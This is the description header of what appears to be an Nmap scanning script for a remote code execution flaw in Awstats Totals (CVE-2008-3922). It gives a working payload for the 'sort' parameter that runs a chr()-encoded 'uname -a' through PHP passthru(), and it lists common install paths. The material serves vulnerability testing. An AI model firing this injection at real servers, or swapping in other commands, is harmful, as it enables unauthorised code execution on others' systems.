description = [[
Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14
and possibly other products based on it (CVE: 2008-3922).

This vulnerability can be exploited through the GET variable <code>sort</code>.
The script queries the web server with the command payload encoded using PHP's
chr() function:

<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>

Common paths for Awstats Total:
* <code>/awstats/index.php</code>
* <code>/awstatstotals/index.php</code>
* <code>/awstats/awstatstotals.php</code>
